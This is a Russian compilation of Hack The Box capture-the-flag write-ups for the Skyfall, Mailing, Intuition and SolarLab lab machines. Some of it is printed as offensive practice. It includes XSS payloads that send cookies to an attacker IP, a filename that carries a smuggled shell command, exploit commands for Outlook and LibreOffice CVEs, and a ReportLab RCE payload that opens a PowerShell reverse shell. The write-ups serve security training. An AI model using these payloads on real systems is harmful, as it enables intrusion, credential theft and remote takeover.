./mc   ls --recursive --versions myminio


Содержимое хранилища Minio

В каталоге  есть три версии архива . Конечно же,

скачаем их на локальный хост.

askyy home_backup.tar.gz

./mc  cp --vid 3c498578-8dfe-43b7-b679-32a3fe42018f myminio/askyy/
home_backup.tar.gz ./home_backup_1.tar.gz

./mc  cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 myminio/askyy/
home_backup.tar.gz ./home_backup_2.tar.gz

./mc  cp --vid 25835695-5e73-4c13-82f7-30fd2da2cf61 myminio/askyy/
home_backup.tar.gz ./home_backup_3.tar.gz


Загрузка данных

В одном из архивов нашлись публичный и приватный ключи SSH.

Содержимое первого архива

Но при попытке подключения у нас затребуют пароль, а значит, это не совсем
верный путь.

ПРОДВИЖЕНИЕ

Верным решением оказалось поискать среди файлов подстроку 

.

skyfall.
htb

 /
grep -iR skyfall.htb ./home_backup_*

Результат поиска

В итоге находим еще  один новый ресурс  — 

. Добавим в   и его.

prd23-vault-internal.
skyfall.htb /etc/hosts

10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.
htb prd23-vault-internal.skyfall.htb


Просматриваем файл  и находим там еще и ..bashrc VAULT_TOKEN

Содержимое файла .bashrc

INFO

HashiCorp Vault  — это  система управления сек‐
ретами, разработанная для  хранения паролей,
ключей, сертификатов и  прочих данных. Vault
позволяет централизованно хранить, управлять
и контролировать доступ к этим секретам, а так‐
же предоставляет механизмы для  шифрования.
Vault использует политики (policies), чтобы огра‐
ничить доступ к секретам и другим ресурсам.

Экспортируем адрес и  токен в  сессию на  локальном хосте и  для проверки
пройдем авторизацию Vault.

export VAULT_API_ADDR=http://prd23-vault-internal.skyfall.htb

export VAULT_TOKEN=hvs.
CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-
LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE


./vault login


Авторизация Vault

Для аутентификации в службе SSH Vault каждый раз генерирует OTP. Сервер
Vault получает от  клиента OTP, и  в случае одобрения пользователь подклю‐
чается по SSH. Но для подключения нам нужно указать роль. Получить список
ролей можно следующим образом.

vault list ssh/roles


Список ролей SSH

А теперь подключаемся по  SSH от  имени пользователя , указав роль
.

askyy
dev_otp_key_role

 otp ./vault ssh -role dev_otp_key_role -mode
-strict-host-key-checking=no askyy@10.10.11.254


Подключение успешно, и мы забираем флаг пользователя.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как в случае с Linux, так и в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  —  набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  хост скрипт для  Linux, дадим право на  выполнение и  запустим
сканирование. Из интересного нашлись только настройки sudoers.

Настройка sudoers

Справка: sudoers
Файл  в Linux содержит списки команд, которые разные группы

пользователей могут выполнять от  имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды .

/etc/sudoers

sudo -l

Пользователь может выполнить следующую команду от имени root без ввода
пароля:

sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -v

Результат выполнения команды

В выводе видно, что из  конфига получен мастер‑токен, который можно
использовать, чтобы получить доступ по  SSH с  ролью .

Токен не отображается, но используя ключ debug ( ), можно получить боль‐
ше информации.

dev_otp_key_role
-d

sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d

Результат выполнения команды

В текущем каталоге будет создан файл , но  доступа к  нему у  нас
нет.

debug.log

Права на файл debug.log

Что если попробовать создать этот файл заранее? Трюк сработал: запись
в файл происходит, но при этом право доступа не изменилось.

 rm -rf debug.log

touch debug.log

sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d

Результат выполнения команды

Теперь логи доступны для чтения, и мы можем получить токен.

Содержимое файла debug.log

Как и в прошлый раз пройдем аутентификацию Vault и запросим роли.

export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/"
export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
./vault login


Авторизация Vault

./vault list ssh/roles


Роли Vault

А теперь подключаемся по SSH от имени пользователя , указывая роль

, и забираем последний флаг.

root
admin_otp_key_role

./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254


Флаг рута

Машина захвачена!

https://min.io/download#/linux
https://github.com/carlospolop/PEASS-ng
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ВЗЛОМ

В этом райтапе я покажу, как одновременно
с фишингом эксплуатировать недавний баг
в  Outlook (CVE-2024-21413), позволяющий
получить хеш пароля пользователя. Но сна‐
чала используем LFI, чтобы добыть данные
сервисной учетки. При  повышении при‐
вилегий проэксплуатируем уязвимость
в LibreOffice.

Наша цель — получение прав суперпользователя на машине Mailing с учеб‐
ной площадки . Уровень задания — легкий.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.14    mailing.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел много открытых портов, что нормально для  серверов
на Windows:

25 — hMailServer (почтовый сервер SMTP);•
80 (HTTP) — веб‑сервер Microsoft IIS/10.0;•
110 — hMailServer (почтовый сервер POP3);•
135 — служба удаленного вызова процедур (Microsoft RPC). Используется
для операций взаимодействия контроллер — контроллер и контроллер —
клиент;

•

139 — служба сеансов NetBIOS, NetLogon;•
143 — hMailServer (почтовый сервер IMAP);•
445 — SMB;•
587 — hMailServer (почтовый сервер SMTP SSL);•
993 — hMailServer (почтовый сервер POP3 SSL);•
5985 — служба удаленного управления WinRM.•

На SMB ничего интересного нет, почтовая служба пока мало чем будет
полезна, поэтому идем смотреть веб‑сервер.

Главная страница сайта

Сразу отмечаем на главной странице ссылку на какую‑то инструкцию.

ТОЧКА ВХОДА

Инструкция очень большая, но в ней никаких учетных данных. Однако из нее
мы узнаём почтовый адрес , а также то, что используется
почтовый клиент Outlook.

maya@mailing.htb

Скриншот из инструкции

Здесь явно предполагается вектор фишинга, но  у нас пока что нет никаких
учетных данных, а  значит, поищем другие пути для  продвижения. Обратим
внимание на способ скачивания инструкции. Подробности можно посмотреть
в Burp History.

Запрос в Burp History

Имя файла передается в  параметре , а  это значит, что тут может быть

уязвимость LFI, позволяющая просматривать другие файлы в системе. Давай
переберем возможные пути через Burp Intruder. В  качестве целевого файла
будем использовать всегда и  всем доступный для  чтения 

.

file

/Windows/
System32/drivers/etc/hosts

Burp Intruder — вкладка Positions

Burp Intruder — вкладка Results

Фильтруем результат и видим в запросах содержимое файла, а значит, есть
LFI.

ТОЧКА ОПОРЫ

Чтобы проверять какие‑то системные файлы, нам может не хватать привиле‐
гий, поэтому работаем с  тем, что есть, а  именно с  hMailServer, который мы
видели, сканируя порты. После поиска информации в  интернете я нашел
на  «Дзене» русскоязычную .
В статье приведен путь к файлу с настройками, а также его примерное содер‐
жимое. Меня очень заинтересовали строки с паролями.

статью по  администрированию hMailServer

Скриншот из статьи

Прочитаем настройки на удаленном сервере через Burp Repeater:

C:\Program+Files+(x86)\hMailServer\Bin\hMailServer.INI


Файл конфигураций hMailServer

Строка в  параметре   — это  наверняка хеш пароля,
а не сам пароль. Отдадим его hashcat.

AdministratorPassword

hashcat 841bb5acfa6779ae432fd7a4e6600ba7 rockyou.txt


Список алгоритмов хеширования

Но hashcat лишь отобразил список возможных алгоритмов хеширования. Так
мы узнаём, что сервер hMailServer использует для  хеширования паролей
алгоритм MD5, поэтому указываем режим 0 и повторяем брут.

hashcat -m 0 841bb5acfa6779ae432fd7a4e6600ba7 rockyou.txt


Результат подбора пароля

Отлично, теперь у нас есть пароль и имя пользователя администратора поч‐
тового сервера. Переходим к фишингу.

ПРОДВИЖЕНИЕ

Никакой информации о  форматах отправляемых файлов я не  нашел.
По отправленным мной ссылкам на HTTP и SMB тоже никто не перешел. Тог‐
да я решил обратить свое внимание на  последние эксплоиты в  Outlook.
Поищем их, используя Google.

Поиск эксплоитов в Google

Нашлась уязвимость . Она позволяет обойти встроенные
средства защиты Outlook от  вредоносных ссылок в  электронных письмах.
Для этого используется протокол  и специальный символ  в ссылке

для доступа к удаленному серверу. Помимо всего, эта уязвимость позволяет
обойти функцию «Защищенный вид», которая предназначена для блокировки
вредоносного содержимого файлов.

CVE-2024-21413

file:// !

На GitHub уже есть , поэтому сде‐
лаем всё по инструкции. Первым делом запустим листенер.

готовый автоматизированный эксплоит

sudo python3 Responder.py -I tun0


А затем отправим сообщение, где в  параметре  укажем адрес лис‐

тенера.

--url

 587 

 
 

python3 CVE-2024-21413.py --server mailing.htb --port --username 
administrator@mailing.htb --password homenetworkingadministrator 
--sender administrator@mailing.htb --recipient maya@mailing.htb --url
"\\10.10.16.5/test" --subject Test


Отправка сообщения

Логи листенера

В итоге ловим NetNTLMv2-хеш пароля пользователя  и  отправляем его
на брут.

maya

hashcat maya::MAILING:d76ae35a1ec4b9cc:2530B2.....0000 rockyou.txt


Результат подбора пароля

С полученным паролем авторизуемся по WinRM и получаем первый флаг.

evil-winrm -i mailing.htb -u maya -p m4y4ngs4ri


Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Осматриваемся в  файловой системе и  находим необычный каталог
 на диске C.Important Documents

Содержимое диска C

Вектор сразу стал понятен  — нужно сформировать документ с  макросом
или  использовать какую‑то уязвимость в  офисном приложении. Но  сперва
найдем целевое офисное приложение, скорее всего, оно будет в 

.
Program 

Files

Содержимое каталога Program Files

Судя по  каталогам, искомое приложение  — это  LibreOffice. Из  файла
 узнаем версию продукта.readmes\readme_es.txt

Содержимое файла readme_es.txt

Первым делом стоит проверить, есть ли для этой версии готовые эксплоиты.
Снова отправляемся в Google.

Поиск эксплоитов в Google

По первой ссылке получаем  для  уязвимости CVE-2023-2255,
которая позволяет выполнить произвольный код при  открытии специально
созданного документа. Сгенерируем документ и  закинем в  каталог

 на диске C. В качестве нагрузки зададим одностроч‐

ник, добавляющий текущего пользователя в группу администраторов.

эксплоит

Important Documents

python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /
add' --output 'exploit.odt'

Как только документ исчезнет из каталога, проверим группы пользователя.

Информация о пользователе

Текущий пользователь теперь в  группе администраторов, а  значит, можем
перелогиниться и прочитаем флаг рута.

Флаг рута

Машина захвачена!
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ВЗЛОМ

Сегодня я покажу, как  повысить права
в Linux через уязвимость в раннере Ansible.
Но  прежде нам понадобится заюзать XSS
на  сайте сначала для  получения доступа
к  странице пользователя, а  потом
для повышения привилегий. Затем исполь‐
зуем прошлогодний баг в библиотеке urllib,
чтобы читать файлы на  сервере, а  для
продвижения к  другому пользователю изу‐
чим логи Suricata.

Наша цель — получение прав суперпользователя на машине Intuition с учеб‐
ной площадки . Уровень задания — сложный.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.15 intuition.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел два открытых порта:
22 — служба OpenSSH 8.9p1;•
80 — веб‑сервер Nginx 1.18.0.•

Также отмечаем, что веб‑сервер на  80-м порте редиректит на  домен
, поэтому добавим его в файл .comprezzor.htb /etc/hosts

10.10.11.15 intuition.htb comprezzor.htb


Переходим к  сайту на  веб‑сервере и  сразу получаем форму для  загрузки
файлов.

Главная страница сайта

ТОЧКА ВХОДА

Ниже на  странице есть ссылка на  форму, куда можно отправлять информа‐
цию о найденных багах.

Информация для связи

Ссылка ведет на  сайт , поэтому, прежде чем идти
смотреть на него, снова добавим запись в файл .

report.comprezzor.htb
/etc/hosts

10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb


Главная страница сайта report.comprezzor.htb

Так как мы уже нашли сайт на поддомене , есть смысл пробрутить под‐

домены по списку: так мы сможем найти еще больше сайтов, а соответствен‐
но, и больше точек входа. Подбирать поддомены будем с помощью утилиты

.

report

ffuf

Справка: сканирование веба c ffuf
Одно из  первых действий при  тестировании безопасности веб‑приложе‐
ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде  и  .dirsearch DIRB

Я предпочитаю легкий и  очень быстрый . При  запуске указываем сле‐
дующие параметры:

ffuf

 — словарь (я использую словари из набора );• -w SecLists
 — количество потоков;• -t

 — URL;• -u

 — HTTP-заголовок.• -H

Место перебора помечается словом FUZZ.

Задаем все нужные параметры:

ffuf   
 256


-u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w 
subdomains-bitquark-top100000.txt -t

Результат сканирования поддоменов

В вывод программы попадают абсолютно все слова из списка, поэтому необ‐
ходимо добавить фильтр, например по размеру страницы (параметр ).-fs

ffuf   
 256  178


-u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w 
subdomains-bitquark-top100000.txt -t -fs

Результат сканирования поддоменов

Находим еще  два поддомена. Обновляем запись в  файле 

и наконец идем смотреть сайты.

/etc/hosts

10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb auth.
comprezzor.htb dashboard.comprezzor.htb


На  нас встречает форма авторизации, а 

 недоступен даже после регистрации и авторизации.

auth.comprezzor.htb dashboard.
comprezzor.htb

Главная страница auth.comprezzor.htb

Куда интереснее форма отправки отчетов, так как  ее можно потестировать
на разные уязвимости.

Форма отправки отчетов

По логике, если отчет кто‑то просматривает, мы можем попробовать проэкс‐
плуатировать уязвимость XSS. Для этого запустим локальный веб‑сервер:

  python3 -m http.server

И отправим нагрузку, которая должна будет выполнить запрос на  этот
веб‑сервер.

   <img src=x onerror='fetch("http://10.10.16.22:8000/test_xss")' />

Форма отправки отчетов

Логи веб‑сервера

На веб‑сервер пришел запрос, а значит, на сайте есть XSS. Недолго думая,
попробуем стащить куки пользователя.

  
 

<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + 
document.cookie)' />

Логи веб‑сервера

В логах появляется длинная строка. Загружаем куки в браузер, пометив, что
они предназначены для сайта dashboard, и переходим на этот сайт.

Главная страница сайта dashboard.comprezzor.htb

Продолжение статьи
→
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ТОЧКА ОПОРЫ

Повышение привилегий
На странице мы можем смотреть сами отчеты, переходя по ссылкам в Report
ID. При этом на странице самого отчета можно повысить его приоритет.

Страница отчета

При повышении приоритета отчета, вероятно, его будет изучать уже админис‐
тратор. А значит, мы сможем повторить трюк с XSS и получить cookie. Откро‐
ем отчет и повысим его приоритет, и, когда администратор перейдет к нему,
мы получим его куки.

  
 

<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + 
document.cookie)' />

Повышение приоритета отчета

Логи веб‑сервера

Применяем куки в  хранилище браузера Chrome и  обновляем страницу.
Теперь нам доступен другой дашборд, а также несколько новых функций.

Панель администратора сайта

Одна из интересных возможностей — это составление отчета в PDF по пре‐
доставленному URL.

Первой моей идеей было проверить, нет ли тут SSRF, и попробовать ста‐
щить локальные файлы через схему . Правда, это  результатов

не дало.

file:///

Страница создания PDF-файлов

Попробуем прислать тестовый запрос на свой листенер. Запустим его:

nc -nlvp 8000


Обрати внимание на  используемую на  сервере библиотеку  — 

. Ее можно увидеть в HTTP-заголовке .

Python-
urllib/3.11 User-Agent

Запрос с сервера

В этой библиотеке в прошлом году нашли уязвимость .CVE-2023-24329

Поиск эксплоитов в Google

Я поискал эксплоиты в Google и легко отыскал подходящий. Если URL будет
начинаться с  пробела, то мы сможем читать локальные файлы через 

.
« 

file:///»

Получение содержимого файла /etc/passwd

LFI
Так как  мы работаем с  приложением на  Python, хорошо  бы взглянуть
на исходный код. А для этого нужно знать, где в файловой системе находится
приложение. Давай глянем файл   — там содержится

командная строка для текущего процесса.

/proc/self/cmdline

Содержимое /proc/self/cmdline

Таким образом, для  старта приложения запускается файл 

. Получим его содержимое.

/app/code/app.
py

Содержимое файла app.py

Помимо секрета Flask, нас интересуют импорты, которые указывают на дру‐
гие питоновские файлы этого приложения:

;• redirect from blueprints.index.index

;• main_bp from blueprints.report.report

;• report_bp from blueprints.auth.auth

;• auth_bp from blueprints.dashboard.dashboard

.• dashboard_bp

Поочередно просматриваем файлы и останавливаемся вот на этом:

/app/code/blueprints/dashboard/dashboard.py


В исходном коде есть учетные данные для подключения к FTP-серверу.

Содержимое файла dashboard.py

Видимо, на  хосте работает локальный FTP-сервер. Через SSRF мы можем
к нему подключиться.

ftp://ftp_admin:u3jai8y71s2@ftp.local/


Файл на FTP-сервере

На FTP-сервере находим приватный ключ, файл PDF и какую‑то записку. Про‐
читаем записку .welcome_note.txt

ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt


Содержимое файла welcome_note.txt

В записке находим пароль для  ключа SSH. Теперь читаем сам приватный
ключ .private-8297.key

ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key


Содержимое файла private-8297.key

Итак, у нас есть ключ SSH и пароль для него. Но ни к одному пользователю
из  файла  он не  подошел. Тогда достанем эту информацию

из самого ключа.

/etc/passwd

ssh-add id_rsa


Пользователь SSH

От имени пользователя dev_acc подключаемся к серверу и забираем первый
флаг.

ssh -i id_rsa dev_acc@10.10.11.15


Флаг пользователя

Продолжение статьи
→
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ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ПРОДВИЖЕНИЕ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим право на  выполнение
и запустим сканирование. В выводе будет много всего, выберем только важ‐
ную информацию.

У веб‑приложения есть файл базы данных .users.db

Список файлов баз данных

На хосте обновляются логи Suricata.

Последние модифицированные файлы

Переходим к каталогу веб‑приложения blueprints и читаем файлы , чтобы
понимать структуры баз и таблиц. Первым делом проверяем файлы для базы

.

.sql

users

Содержимое файла users.sql

В таблице  всего четыре столбца: идентификатор, имя пользователя,

пароль (скорее всего, хеш) и роль. Читаем файл  и парсим из него

хеши:

users
users.db

adam : 
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f2871060
03595087cf42189fc43 (webdev)

admin : 
sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaad
bfa92bd612513e9b606 (admin)


Содержимое файла users.db

Отправляем полученные хеши на брут и спустя минуту получаем один пароль.

hashcat hashes.txt rockyou.txt


Результат подбора пароля

С новыми учетными данными никуда не  зайти. Вспоминаем про  FTP-сервер
и пробуем авторизоваться как пользователь adam.

ftp adam@127.0.0.1


Файлы на FTP-сервере

В итоге находим каталог backup, который содержит исходные коды какого‑то
раннера. Скачиваем все файлы через команду .get

Содержимое каталога backup

Также не  оставляем без  внимания и  логи Suricata в  каталоге 

. Там могут проскальзывать учетные данные и  другая интересная
информация.

/var/log/
suricata/

Содержимое каталога /var/log/suricata/

Пробуем грепать все логи по слову . Для обычных файлов используем
, для архивов — .

login
grep zgrep

 grep -iR login ./

.gz
zgrep -i login *

Логи Suricata

В архиве видим лог с  неудачной авторизацией на  FTP-сервере. Проверим
только архивы, при этом отфильтруем ответ «FTP Failed Login Attempt».

  zgrep -i login *.gz | grep -v 'FTP Failed Login Attempt'

Логи Suricata

Находим очередную пару логин  — пароль, с  которой уже получаем сессию
пользователя SSH.

Сессия пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Мы сменили контекст пользователя, а  значит, нужно проверить доступные
файлы с  выставленным битом SUID и  настройки sudoers. При  этом команда

 уже показала, что пользователь lopez состоит в группе sys-adm.id

Настройки sudoers

Из файла  следует, что мы можем запустить бинарь 

 от  имени пользователя root. Выполним тестовый запуск
и проверим вывод программы.

/etc/sudoers /opt/
runner2/runner2

Запуск runner2

Таким образом, приложение ожидает файл JSON. Мы уже встречали
исходные коды с подобным названием, поэтому проанализируем их.

Начинаем с файла , который предназначен для запуска пер‐

вой версии раннера. Первая версия принимает все параметры через коман‐
дную строку и не использует для этого файл JSON.

run-tests.sh

Содержимое файла run-tests.sh

В исходном коде встречаем образованный от пароля хеш MD5, который дол‐
жен передаваться приложению в параметре .-a

Содержимое файла runner1.c

Мы знаем большую часть пароля, осталось перебрать всего четыре символа.
Hashcat очень легко справился с этой задачей. Для перебора по маске нужно
использовать параметр .-a 3

 3  0 hashcat -a -m '0feda17076d793c2ef2870d7427ad4ed' UHI75GHI?u?u?u?u


Результат перебора хеша

Пароль для запуска у нас есть, будем надеяться, что он остался тем же и во
второй версии раннера. В функции находим список возможных команд (стро‐
ка 65): ,  и  .list run install

Содержимое файла runner1.c

По команде  мы просто получим список файлов YAML из каталога 

 (строки  31–49). Команды  и   c помощью функции
 сформируют строку и передадут для выполнения в командную обо‐

лочку через функцию  (строки 51–61).

list /opt/
playbooks run install
snprintf

system

Содержимое файла runner1.c

Подобный вызов функции  очень опасен, так как мы можем передать

конвейер команд и проэксплуатировать инъекцию команд ОС.

system

По строкам из  файла  мы можем восстановить примерную конс‐

трукцию файла JSON:

runner

пароль передается в параметре ;• auth_code

команда передается в параметре ;• action

параметр  передается в блоке .• action run

Для теста выполним команду . Для  этого создадим файл 

и запустим раннер.

list test.json

{
  "run":{
      "action":"list"
  },
  "auth_code":"UHI75GHINKOP"
}

Результат выполнения команды list

Команда выполнена успешно, а  значит, формат файла подобран верно.
Теперь перейдем к внедрению команды. Команде  будем передавать

архив, в  имени которого уже будет конвейер команд, запускающий коман‐
дную оболочку bash.

install

root
mkdir 
 tar -vcfr root.tar.gz root


mv root.tar.gz 'root.tar.gz;bash'

Используем следующий конфиг и выполняем раннер. После обработки кон‐
фига получаем сессию в привилегированном контексте.

{
  "run":{
      "action":"install",
      "role_file":"root.tar.gz;bash"
  },
  "auth_code":"UHI75GHINKOP"
}

Флаг рута

Машина захвачена!

https://github.com/carlospolop/PEASS-ng
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ВЗЛОМ

В этом райтапе я покажу, как получить шелл
и  расшифровать учетные данные из  сер‐
виса OpenFire. Но  прежде проникнем
на  сервер, работающий на  Windows, путем
эксплуатации уязвимости в  библиотеке
ReportLab.

Наша цель — получение прав суперпользователя на машине SolarLab с учеб‐
ной площадки . Уровень сложности задания — средний.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.16 solarlab.htb


И запускаем сканирование портов.

Результат работы скрипта

По результатам сканирования имеем несколько открытых портов, типичных
для систем Windows:

80 и 6791 (HTTP) — веб‑сервер Nginx 1.24.0;•
135 — служба удаленного вызова процедур (Microsoft RPC). Используется
для операций взаимодействия контроллер — контроллер и контроллер —
клиент;

•

139 — служба сеансов NetBIOS, NetLogon;•
445 — SMB.•

По логу видно, что с  порта  6791  выполняется редирект на  домен 

. Сразу добавим запись в файл .

report.
solarlab.htb /etc/hosts

10.10.11.16 solarlab.htb report.solarlab.htb


ТОЧКА ВХОДА

Первым делом проверяем, разрешен ли вход от  имени гостевой учетной
записи по SMB.

 nxc smb 10.10.11.16 -u guest -p ''

Аутентификация от имени гостя

Так как  аутентификация прошла успешно, мы можем просмотреть общие
каталоги SMB. Чаще всего аутентификация для анонима включается именно
для доступа к каким‑то общим ресурсам.

  nxc smb 10.10.11.16 -u guest -p '' --shares

Общие ресурсы SMB

Также мы можем пробрутить RID объектов, таких как пользователи и группы.

  nxc smb 10.10.11.16 -u guest -p '' --rid-brute

Список пользователей и групп

Теперь вернемся к  общим каталогам. Нам доступен для  чтения каталог
, в котором могут быть важные данные.Documents

smbclient.py ./guest:''@10.10.11.16


use Documents


Содержимое каталога Documents

Из  забираем документы XLSX и DOCX. Еще два документа забира‐

ем из вложенного каталога .

Documents
concepts

Содержимое каталога concepts

В документах полезной информации найти не удалось, а вот в таблице есть
списки учетных данных для разных ресурсов.

Содержимое файла details-file.xlsx

К SMB эти учетные данные не подошли, поэтому наконец переходим к вебу.
Сайт на  80-м порте больше напоминает визитку. Зато на  нем мы находим
список пользователей, которые были в таблице.

Главная страница сайта solarlab.htb

Сотрудники организации

На порте 6791 нас встречает форма авторизации.

Страница авторизации на report.solarlab.htb:6791

Продолжение статьи
→

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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ТОЧКА ОПОРЫ

В таблице представлено несколько вариантов имени пользователя, поэтому
для раскрытых юзеров составляем список с логинами и почтами и отдельно
выписываем из таблицы пароли. А затем пробрутим их в форме авторизации
на ReportHub с использованием Burp Intruder.

Burp Intruder — вкладка Positions

Burp Intruder — вкладка Payloads

Burp Intruder — результат перебора

В итоге находим одну валидную пару из логина и пароля, с которой авторизу‐
емся на сайте.

Главная страница сайта

Сайт предлагает четыре функции. Все они связаны с  генерацией отчета
в формате PDF.

Форма генерации отчета

Сгенерированный документ

В подобных генераторах нередко встречаются уязвимости, поэтому стоит
узнать об используемой для генерации библиотеке. Эту запись обычно мож‐
но получить из метаданных файла.

Метаданные файла

Таким образом, мы выяснили, что на  сервере используется библиотека
ReportLab PDF.

CVE-2023-33733
Стоит проверить, есть ли для  этой библиотеки готовые эксплоиты. Первым
делом идем в Google.

Поиск эксплоитов в Google

И по первой же ссылке доступен эксплоит для уязвимости .CVE-2023-33733
Когда приложение обрабатывает HTML-содержимое с помощью уязвимой

библиотеки, вызовы вложенных функций могут привести к  тому, что
 позволит выполнить произвольный код. В итоге это приводит

к запуску определенной команды операционной системы, и атакующий может
получить RCE.

rl_safe_eval

Для эксплуатации уязвимости нужно передать в  генератор HTML-код
с  нагрузкой в  атрибуте . В  функции  нужно указать команду,
которая будет выполнена через , например реверс‑шелл на PowerShell.

color system
cmd

PoC для уязвимости

В Burp History находим запрос, в  котором передаются данные для  отчета.
Этот запрос переправим в Burp Repeater.

Запрос на сервер в Burp History

Запускаем листенер для реверс‑шелла:

rlwrap nc -nlvp 4321


А теперь вставим в запрос нагрузку из репозитория и отправим ее на сервер.

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system(
'powershell -e JABjAGwAaQB.....AApAA==') for Word in [ orgTypeFun( 
'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 
0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and 
str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', 
self.mutated - 1) }, '__hash__': lambda self: hash(str(
self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].
append(1)]]] and 'red'">
               exploit

</font></para>

Запрос на сервер

Сразу же в  окне листенера получаем сессию пользователя blake и  читаем
первый флаг.

Флаг пользователя

Продолжение статьи
→

https://github.com/c53elyas/CVE-2023-33733


HTB SOLARLAB
ПОВЫШАЕМ ПРИВИЛЕГИИ ЧЕРЕЗ

СЕРВИС OPENFIRE

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ПРОДВИЖЕНИЕ

Мы уже видели в  системе пользователя openfire. Скорее всего, на  сервере
установлена одноименная система — OpenFire. Проверим прослушиваемые
порты, так как по умолчанию OpenFire занимает порт 9090.

netstat /an

Прослушиваемые порты

Этот порт прослушивается для адреса 127.0.0.1, поэтому нужно сделать тун‐
нель. Для  этого организуем проброс портов  9000  и  9001  с  помощью .
Нам потребуется и  версия для  Windows, и  версия для  Linux. Запустим
на локальном хосте сервер, указав порт для подключения (опция ).

chisel

-p

./chisel.bin server -p 8888 --reverse

Затем загрузим на удаленный хост версию для Windows и выполним подклю‐
чение, указав настройки туннеля: . В логах сервера
увидим сообщение о подключении клиентской части.

[LPORT]:[ADDR]:[RPORT]

